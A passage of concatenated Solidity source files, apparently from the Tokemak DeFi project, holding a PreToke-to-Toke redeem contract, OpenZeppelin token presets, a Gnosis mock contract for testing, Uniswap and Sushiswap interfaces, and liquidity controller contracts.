"@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/IStaking.sol"; /// @title Tokemak Redeem Contract /// @notice Converts PreToke to Toke /// @dev Can only be used when fromToken has been unpaused contract Redeem is Ownable { using SafeERC20 for IERC20; address public immutable fromToken; address public immutable toToken; address public immutable stakingContract; uint256 public immutable expirationBlock; uint256 public immutable stakingSchedule; /// @notice Redeem Constructor /// @dev approves max uint256 on creation for the toToken against the staking contract /// @param _fromToken the token users will convert from /// @param _toToken the token users will convert to /// @param _stakingContract the staking contract /// @param _expirationBlock a block number at which the owner can withdraw the full balance of toToken constructor( address _fromToken, address _toToken, address _stakingContract, uint256 _expirationBlock, uint256 _stakingSchedule ) public { require(_fromToken != address(0), "INVALID_FROMTOKEN"); require(_toToken != address(0), "INVALID_TOTOKEN"); require(_stakingContract != address(0), "INVALID_STAKING"); fromToken = _fromToken; toToken = _toToken; stakingContract = _stakingContract; expirationBlock = _expirationBlock; stakingSchedule = _stakingSchedule; //Approve staking contract for toToken to allow for staking within convert() IERC20(_toToken).safeApprove(_stakingContract, type(uint256).max); } /// @notice Allows a holder of fromToken to convert into toToken and simultaneously stake within the stakingContract /// @dev a user must approve this contract in order for it to burnFrom() function convert() external { uint256 fromBal = IERC20(fromToken).balanceOf(msg.sender); require(fromBal > 0, "INSUFFICIENT_BALANCE"); ERC20Burnable(fromToken).burnFrom(msg.sender, fromBal); IStaking(stakingContract).depositFor(msg.sender, fromBal, stakingSchedule); } /// @notice Allows the claim on the toToken balance after the expiration has passed /// @dev callable only by owner function recoupRemaining() external onlyOwner { require(block.number >= expirationBlock, "EXPIRATION_NOT_PASSED"); uint256 bal = IERC20(toToken).balanceOf(address(this)); IERC20(toToken).safeTransfer(msg.sender, bal); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../access/AccessControl.sol"; import "../utils/Context.sol"; import "../token/ERC20/ERC20.sol"; import "../token/ERC20/ERC20Burnable.sol"; import "../token/ERC20/ERC20Pausable.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol) public ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol"; // solhint-disable-next-line contract PreToke is ERC20PresetMinterPauser("PreToke", "PTOKE") { } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; // We import the contract so truffle compiles it, and we have the ABI // available when working from truffle console. import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2ERC20.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol" as ISushiswapV2Router; import "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Factory.sol" as ISushiswapV2Factory; import "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2ERC20.sol" as ISushiswapV2ERC20; pragma solidity ^0.6.0; interface MockInterface { /** * @dev After calling this method, the mock will return `response` when it is called * with any calldata that is not mocked more specifically below * (e.g. using givenMethodReturn). * @param response ABI encoded response that will be returned if method is invoked */ function givenAnyReturn(bytes calldata response) external; function givenAnyReturnBool(bool response) external; function givenAnyReturnUint(uint response) external; function givenAnyReturnAddress(address response) external; function givenAnyRevert() external; function givenAnyRevertWithMessage(string calldata message) external; function givenAnyRunOutOfGas() external; /** * @dev After calling this method, the mock will return `response` when the given * methodId is called regardless of arguments. If the methodId and arguments * are mocked more specifically (using `givenMethodAndArguments`) the latter * will take precedence. * @param method ABI encoded methodId. It is valid to pass full calldata (including arguments). The mock will extract the methodId from it * @param response ABI encoded response that will be returned if method is invoked */ function givenMethodReturn(bytes calldata method, bytes calldata response) external; function givenMethodReturnBool(bytes calldata method, bool response) external; function givenMethodReturnUint(bytes calldata method, uint response) external; function givenMethodReturnAddress(bytes calldata method, address response) external; function givenMethodRevert(bytes calldata method) external; function givenMethodRevertWithMessage(bytes calldata method, string calldata message) external; function givenMethodRunOutOfGas(bytes calldata method) external; /** * @dev After calling this method, the mock will return `response` when the given * methodId is called with matching arguments. These exact calldataMocks will take * precedence over all other calldataMocks. * @param call ABI encoded calldata (methodId and arguments) * @param response ABI encoded response that will be returned if contract is invoked with calldata */ function givenCalldataReturn(bytes calldata call, bytes calldata response) external; function givenCalldataReturnBool(bytes calldata call, bool response) external; function givenCalldataReturnUint(bytes calldata call, uint response) external; function givenCalldataReturnAddress(bytes calldata call, address response) external; function givenCalldataRevert(bytes calldata call) external; function givenCalldataRevertWithMessage(bytes calldata call, string calldata message) external; function givenCalldataRunOutOfGas(bytes calldata call) external; /** * @dev Returns the number of times anything has been called on this mock since last reset */ function invocationCount() external returns (uint); /** * @dev Returns the number of times the given method has been called on this mock since last reset * @param method ABI encoded methodId. It is valid to pass full calldata (including arguments). The mock will extract the methodId from it */ function invocationCountForMethod(bytes calldata method) external returns (uint); /** * @dev Returns the number of times this mock has been called with the exact calldata since last reset. * @param call ABI encoded calldata (methodId and arguments) */ function invocationCountForCalldata(bytes calldata call) external returns (uint); /** * @dev Resets all mocked methods and invocation counts. */ function reset() external; } /** * Implementation of the MockInterface. */ contract MockContract is MockInterface { enum MockType { Return, Revert, OutOfGas } bytes32 public constant MOCKS_LIST_START = hex"01"; bytes public constant MOCKS_LIST_END = "0xff"; bytes32 public constant MOCKS_LIST_END_HASH = keccak256(MOCKS_LIST_END); bytes4 public constant SENTINEL_ANY_MOCKS = hex"01"; bytes public constant DEFAULT_FALLBACK_VALUE = abi.encode(false); // A linked list allows easy iteration and inclusion checks mapping(bytes32 => bytes) calldataMocks; mapping(bytes => MockType) calldataMockTypes; mapping(bytes => bytes) calldataExpectations; mapping(bytes => string) calldataRevertMessage; mapping(bytes32 => uint) calldataInvocations; mapping(bytes4 => bytes4) methodIdMocks; mapping(bytes4 => MockType) methodIdMockTypes; mapping(bytes4 => bytes) methodIdExpectations; mapping(bytes4 => string) methodIdRevertMessages; mapping(bytes32 => uint) methodIdInvocations; MockType fallbackMockType; bytes fallbackExpectation = DEFAULT_FALLBACK_VALUE; string fallbackRevertMessage; uint invocations; uint resetCount; constructor() public { calldataMocks[MOCKS_LIST_START] = MOCKS_LIST_END; methodIdMocks[SENTINEL_ANY_MOCKS] = SENTINEL_ANY_MOCKS; } function trackCalldataMock(bytes memory call) private { bytes32 callHash = keccak256(call); if (calldataMocks[callHash].length == 0) { calldataMocks[callHash] = calldataMocks[MOCKS_LIST_START]; calldataMocks[MOCKS_LIST_START] = call; } } function trackMethodIdMock(bytes4 methodId) private { if (methodIdMocks[methodId] == 0x0) { methodIdMocks[methodId] = methodIdMocks[SENTINEL_ANY_MOCKS]; methodIdMocks[SENTINEL_ANY_MOCKS] = methodId; } } function _givenAnyReturn(bytes memory response) internal { fallbackMockType = MockType.Return; fallbackExpectation = response; } function givenAnyReturn(bytes calldata response) override external { _givenAnyReturn(response); } function givenAnyReturnBool(bool response) override external { uint flag = response ? 1 : 0; _givenAnyReturn(uintToBytes(flag)); } function givenAnyReturnUint(uint response) override external { _givenAnyReturn(uintToBytes(response)); } function givenAnyReturnAddress(address response) override external { _givenAnyReturn(uintToBytes(uint(response))); } function givenAnyRevert() override external { fallbackMockType = MockType.Revert; fallbackRevertMessage = ""; } function givenAnyRevertWithMessage(string calldata message) override external { fallbackMockType = MockType.Revert; fallbackRevertMessage = message; } function givenAnyRunOutOfGas() override external { fallbackMockType = MockType.OutOfGas; } function _givenCalldataReturn(bytes memory call, bytes memory response) private { calldataMockTypes[call] = MockType.Return; calldataExpectations[call] = response; trackCalldataMock(call); } function givenCalldataReturn(bytes calldata call, bytes calldata response) override external { _givenCalldataReturn(call, response); } function givenCalldataReturnBool(bytes calldata call, bool response) override external { uint flag = response ? 1 : 0; _givenCalldataReturn(call, uintToBytes(flag)); } function givenCalldataReturnUint(bytes calldata call, uint response) override external { _givenCalldataReturn(call, uintToBytes(response)); } function givenCalldataReturnAddress(bytes calldata call, address response) override external { _givenCalldataReturn(call, uintToBytes(uint(response))); } function _givenMethodReturn(bytes memory call, bytes memory response) private { bytes4 method = bytesToBytes4(call); methodIdMockTypes[method] = MockType.Return; methodIdExpectations[method] = response; trackMethodIdMock(method); } function givenMethodReturn(bytes calldata call, bytes calldata response) override external { _givenMethodReturn(call, response); } function givenMethodReturnBool(bytes calldata call, bool response) override external { uint flag = response ? 1 : 0; _givenMethodReturn(call, uintToBytes(flag)); } function givenMethodReturnUint(bytes calldata call, uint response) override external { _givenMethodReturn(call, uintToBytes(response)); } function givenMethodReturnAddress(bytes calldata call, address response) override external { _givenMethodReturn(call, uintToBytes(uint(response))); } function givenCalldataRevert(bytes calldata call) override external { calldataMockTypes[call] = MockType.Revert; calldataRevertMessage[call] = ""; trackCalldataMock(call); } function givenMethodRevert(bytes calldata call) override external { bytes4 method = bytesToBytes4(call); methodIdMockTypes[method] = MockType.Revert; trackMethodIdMock(method); } function givenCalldataRevertWithMessage(bytes calldata call, string calldata message) override external { calldataMockTypes[call] = MockType.Revert; calldataRevertMessage[call] = message; trackCalldataMock(call); } function givenMethodRevertWithMessage(bytes calldata call, string calldata message) override external { bytes4 method = bytesToBytes4(call); methodIdMockTypes[method] = MockType.Revert; methodIdRevertMessages[method] = message; trackMethodIdMock(method); } function givenCalldataRunOutOfGas(bytes calldata call) override external { calldataMockTypes[call] = MockType.OutOfGas; trackCalldataMock(call); } function givenMethodRunOutOfGas(bytes calldata call) override external { bytes4 method = bytesToBytes4(call); methodIdMockTypes[method] = MockType.OutOfGas; trackMethodIdMock(method); } function invocationCount() override external returns (uint) { return invocations; } function invocationCountForMethod(bytes calldata call) override external returns (uint) { bytes4 method = bytesToBytes4(call); return methodIdInvocations[keccak256(abi.encodePacked(resetCount, method))]; } function invocationCountForCalldata(bytes calldata call) override external returns (uint) { return calldataInvocations[keccak256(abi.encodePacked(resetCount, call))]; } function reset() override external { // Reset all exact calldataMocks bytes memory nextMock = calldataMocks[MOCKS_LIST_START]; bytes32 mockHash = keccak256(nextMock); // We cannot compary bytes while(mockHash != MOCKS_LIST_END_HASH) { // Reset all mock maps calldataMockTypes[nextMock] = MockType.Return; calldataExpectations[nextMock] = hex""; calldataRevertMessage[nextMock] = ""; // Set next mock to remove nextMock = calldataMocks[mockHash]; // Remove from linked list calldataMocks[mockHash] = ""; // Update mock hash mockHash = keccak256(nextMock); } // Clear list calldataMocks[MOCKS_LIST_START] = MOCKS_LIST_END; // Reset all any calldataMocks bytes4 nextAnyMock = methodIdMocks[SENTINEL_ANY_MOCKS]; while(nextAnyMock != SENTINEL_ANY_MOCKS) { bytes4 currentAnyMock = nextAnyMock; methodIdMockTypes[currentAnyMock] = MockType.Return; methodIdExpectations[currentAnyMock] = hex""; methodIdRevertMessages[currentAnyMock] = ""; nextAnyMock = methodIdMocks[currentAnyMock]; // Remove from linked list methodIdMocks[currentAnyMock] = 0x0; } // Clear list methodIdMocks[SENTINEL_ANY_MOCKS] = SENTINEL_ANY_MOCKS; fallbackExpectation = DEFAULT_FALLBACK_VALUE; fallbackMockType = MockType.Return; invocations = 0; resetCount += 1; } function useAllGas() private { while(true) { bool s; assembly { //expensive call to EC multiply contract s := call(sub(gas(), 2000), 6, 0, 0x0, 0xc0, 0x0, 0x60) } } } function bytesToBytes4(bytes memory b) private pure returns (bytes4) { bytes4 out; for (uint i = 0; i < 4; i++) { out |= bytes4(b[i] & 0xFF) >> (i * 8); } return out; } function uintToBytes(uint256 x) private pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } function updateInvocationCount(bytes4 methodId, bytes memory originalMsgData) public { require(msg.sender == address(this), "Can only be called from the contract itself"); invocations += 1; methodIdInvocations[keccak256(abi.encodePacked(resetCount, methodId))] += 1; calldataInvocations[keccak256(abi.encodePacked(resetCount, originalMsgData))] += 1; } fallback () payable external { bytes4 methodId; assembly { methodId := calldataload(0) } // First, check exact matching overrides if (calldataMockTypes[msg.data] == MockType.Revert) { revert(calldataRevertMessage[msg.data]); } if (calldataMockTypes[msg.data] == MockType.OutOfGas) { useAllGas(); } bytes memory result = calldataExpectations[msg.data]; // Then check method Id overrides if (result.length == 0) { if (methodIdMockTypes[methodId] == MockType.Revert) { revert(methodIdRevertMessages[methodId]); } if (methodIdMockTypes[methodId] == MockType.OutOfGas) { useAllGas(); } result = methodIdExpectations[methodId]; } // Last, use the fallback override if (result.length == 0) { if (fallbackMockType == MockType.Revert) { revert(fallbackRevertMessage); } if (fallbackMockType == MockType.OutOfGas) { useAllGas(); } result = fallbackExpectation; } // Record invocation as separate call so we don't rollback in case we are called with STATICCALL (, bytes memory r) = address(this).call{gas: 100000}(abi.encodeWithSignature("updateInvocationCount(bytes4,bytes)", methodId, msg.data)); assert(r.length == 0); assembly { return(add(0x20, result), mload(result)) } } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol"; import "@sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Factory.sol"; contract SushiswapController { using SafeERC20 for IERC20; using Address for address; using Address for address payable; using SafeMath for uint256; // solhint-disable-next-line var-name-mixedcase IUniswapV2Router02 public immutable SUSHISWAP_ROUTER; // solhint-disable-next-line var-name-mixedcase IUniswapV2Factory public immutable SUSHISWAP_FACTORY; constructor(IUniswapV2Router02 router, IUniswapV2Factory factory) public { require(address(router) != address(0), "INVALID_ROUTER"); require(address(factory) != address(0), "INVALID_FACTORY"); SUSHISWAP_ROUTER = router; SUSHISWAP_FACTORY = factory; } function deploy(bytes calldata data) external { ( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) = abi.decode( data, (address, address, uint256, uint256, uint256, uint256, address, uint256) ); _approve(IERC20(tokenA), amountADesired); _approve(IERC20(tokenB), amountBDesired); //(uint256 amountA, uint256 amountB, uint256 liquidity) = SUSHISWAP_ROUTER.addLiquidity( tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin, to, deadline ); // TODO: perform checks on amountA, amountB, liquidity } function withdraw(bytes calldata data) external { ( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) = abi.decode(data, (address, address, uint256, uint256, uint256, address, uint256)); address pair = SUSHISWAP_FACTORY.getPair(tokenA, tokenB); require(pair != address(0), "pair doesn't exist"); _approve(IERC20(pair), liquidity); //(uint256 amountA, uint256 amountB) = SUSHISWAP_ROUTER.removeLiquidity( tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline ); //TODO: perform checks on amountA and amountB } function _approve(IERC20 token, uint256 amount) internal { uint256 currentAllowance = token.allowance(address(this), address(SUSHISWAP_ROUTER)); if (currentAllowance < amount) { token.safeIncreaseAllowance( address(SUSHISWAP_ROUTER), type(uint256).max.sub(currentAllowance) ); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; contract UniswapController { using SafeERC20 for IERC20; using Address for address; using Address for address payable; using SafeMath for uint256; // solhint-disable-next-line var-name-mixedcase IUniswapV2Router02 public immutable UNISWAP_ROUTER; // solhint-disable-next-line var-name-mixedcase IUniswapV2Factory public immutable UNISWAP_FACTORY; constructor(IUniswapV2Router02 router, IUniswapV2Factory factory) public { require(address(router) != address(0), "INVALID_ROUTER"); require(address(factory) != address(0), "INVALID_FACTORY"); UNISWAP_ROUTER = router; UNISWAP_FACTORY = factory; } function deploy(bytes calldata data) external { ( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) = abi.decode( data, (address, address, uint256, uint256, uint256, uint256, address, uint256) ); _approve(IERC20(tokenA), amountADesired); _approve(IERC20(tokenB), amountBDesired); //(uint256 amountA, uint256 amountB, uint256 liquidity) = UNISWAP_ROUTER.addLiquidity( tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin, to, deadline ); // TODO: perform checks on amountA, amountB, liquidity } function withdraw(bytes calldata data) external { ( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) = abi.decode(data, (address, address, uint256, uint256, uint256, address, uint256)); address pair = UNISWAP_FACTORY.getPair(tokenA, tokenB); require(pair != address(0), "pair doesn't exist"); _approve(IERC20(pair), liquidity); //(uint256 amountA, uint256 amountB) = UNISWAP_ROUTER.removeLiquidity( tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline ); //TODO: perform checks on amountA and amountB } function _approve(IERC20 token, uint256 amount) internal { uint256 currentAllowance = token.allowance(address(this), address(UNISWAP_ROUTER)); if (currentAllowance < amount) { token.safeIncreaseAllowance( address(UNISWAP_ROUTER), type(uint256).max.sub(currentAllowance) ); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../interfaces/balancer/IBalancerPool.sol"; contract BalancerController { using SafeERC20 for IERC20; using Address for address; using Address for address payable; using SafeMath for uint256; function deploy( address poolAddress, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data ) external { require(tokens.length == amounts.length, "TOKEN_AMOUNTS_COUNT_MISMATCH"); require(tokens.length > 0, "TOKENS_AMOUNTS_NOT_PROVIDED"); for (uint256 i = 0; i < tokens.length; i++) { _approve(tokens[i], 